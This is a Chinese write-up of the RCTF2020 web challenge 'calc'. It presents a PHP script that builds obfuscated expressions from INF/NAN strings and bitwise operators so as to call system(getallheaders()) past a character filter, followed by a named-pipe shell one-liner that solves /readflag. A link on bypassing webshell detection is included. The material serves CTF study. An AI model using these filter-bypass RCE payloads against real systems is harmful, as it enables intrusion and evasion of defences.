RCTF2020一个WEB题引起的RCE以及Shell绕过等

WEB

calc

RoarCTF有一个题目的升级版。

fuzz脚本

<?php
$old_list = 'INFA0123456789';
$new_list = $old_list;

$result = array(
    "I"=>"((1/0).(0)){0}",
    "N"=>"((1/0).(0)){1}",
    "F"=>"((1/0).(0)){2}",
    "A"=>"((0/0).(0)){1}",
    "0"=>"((0).(0)){0}",
    "1"=>"((1).(0)){0}",
    "2"=>"((2).(0)){0}",
    "3"=>"((3).(0)){0}",
    "4"=>"((4).(0)){0}",
    "5"=>"((5).(0)){0}",
    "6"=>"((6).(0)){0}",
    "7"=>"((7).(0)){0}",
    "8"=>"((8).(0)){0}",
    "9"=>"((9).(0)){0}",
);

while(true){
    for($i = 0; $i < strlen($old_list); $i++){
        for($j = 0; $j < strlen($old_list); $j++){
            $tmp = ($old_list[$i]) & ($old_list[$j]);
            if(! isset($result[$tmp])){
                $result[$tmp] = "(".$result[$old_list[$i]].")&(".$result[$old_list[$j]].")";
                $new_list .= $tmp;
            } 

            $tmp = $old_list[$i] | $old_list[$j];
            if(! isset($result[$tmp])){
                $result[$tmp] = "(".$result[$old_list[$i]].")|(".$result[$old_list[$j]].")";
                $new_list .= $tmp;
            } 
        }
    }

    if($new_list == $old_list){
        break;
    }
    $old_list = $new_list;
}
var_dump($result);
var_dump($old_list);

$op = "systEM";
// ((((0/0).(0)){1})|(((2).(0)){0})).((((1/0).(0)){0})|(((0).(0)){0})).((((0/0).(0)){1})|(((2).(0)){0})).((((4).(0)){0})|((((1/0).(0)){0})&(((1/0).(0)){2}))).((((0/0).(0)){1})|((((1/0).(0)){1})&(((4).(0)){0}))).((((1/0).(0)){0})|((((1/0).(0)){1})&(((4).(0)){0})))

$op = "GEtALLHEADErs";
// ((((1/0).(0)){2})|(((0/0).(0)){1})).((((0/0).(0)){1})|((((1/0).(0)){1})&(((4).(0)){0}))).((((4).(0)){0})|((((1/0).(0)){0})&(((1/0).(0)){2}))).(((0/0).(0)){1}).((((1/0).(0)){1})&((((1/0).(0)){0})|(((4).(0)){0}))).((((1/0).(0)){1})&((((1/0).(0)){0})|(((4).(0)){0}))).((((1/0).(0)){0})&(((1/0).(0)){1})).((((0/0).(0)){1})|((((1/0).(0)){1})&(((4).(0)){0}))).(((0/0).(0)){1}).((((1/0).(0)){1})&((((0/0).(0)){1})|(((4).(0)){0}))).((((0/0).(0)){1})|((((1/0).(0)){1})&(((4).(0)){0}))).((((2).(0)){0})|((((1/0).(0)){0})&(((1/0).(0)){2}))).((((0/0).(0)){1})|(((2).(0)){0}))

// getallheaders()
// (((((1/0).(0)){2})|(((0/0).(0)){1})).((((0/0).(0)){1})|((((1/0).(0)){1})&(((4).(0)){0}))).((((4).(0)){0})|((((1/0).(0)){0})&(((1/0).(0)){2}))).(((0/0).(0)){1}).((((1/0).(0)){1})&((((1/0).(0)){0})|(((4).(0)){0}))).((((1/0).(0)){1})&((((1/0).(0)){0})|(((4).(0)){0}))).((((1/0).(0)){0})&(((1/0).(0)){1})).((((0/0).(0)){1})|((((1/0).(0)){1})&(((4).(0)){0}))).(((0/0).(0)){1}).((((1/0).(0)){1})&((((0/0).(0)){1})|(((4).(0)){0}))).((((0/0).(0)){1})|((((1/0).(0)){1})&(((4).(0)){0}))).((((2).(0)){0})|((((1/0).(0)){0})&(((1/0).(0)){2}))).((((0/0).(0)){1})|(((2).(0)){0})))()

$op = "next";

$final = "";
for($i = 0; $i < strlen($op); $i++){
    $final .= "(".$result[$op[$i]].").";
}
echo "<br>";
echo $final;

利用链: system(getallheaders(){'u'})

运行/readflag,参考自balsn的wp

rm /tmp/pipe; mkfifo /tmp/pipe && cat /tmp/pipe | /readflag |(read l;read l;echo "$(($l))" > /tmp/pipe;cat)

以上是本题目的wp,还有一些比较骚操作。
来自赛后阅读Swoole题目的wp,
Nu1L师傅强的离谱。
引了一个Smi1e师傅的博客。
https://www.smi1e.top/php-webshell%e6%a3%80%e6%b5%8b%e4%b8%8e%e7%bb%95%e8%bf%87/

推荐文章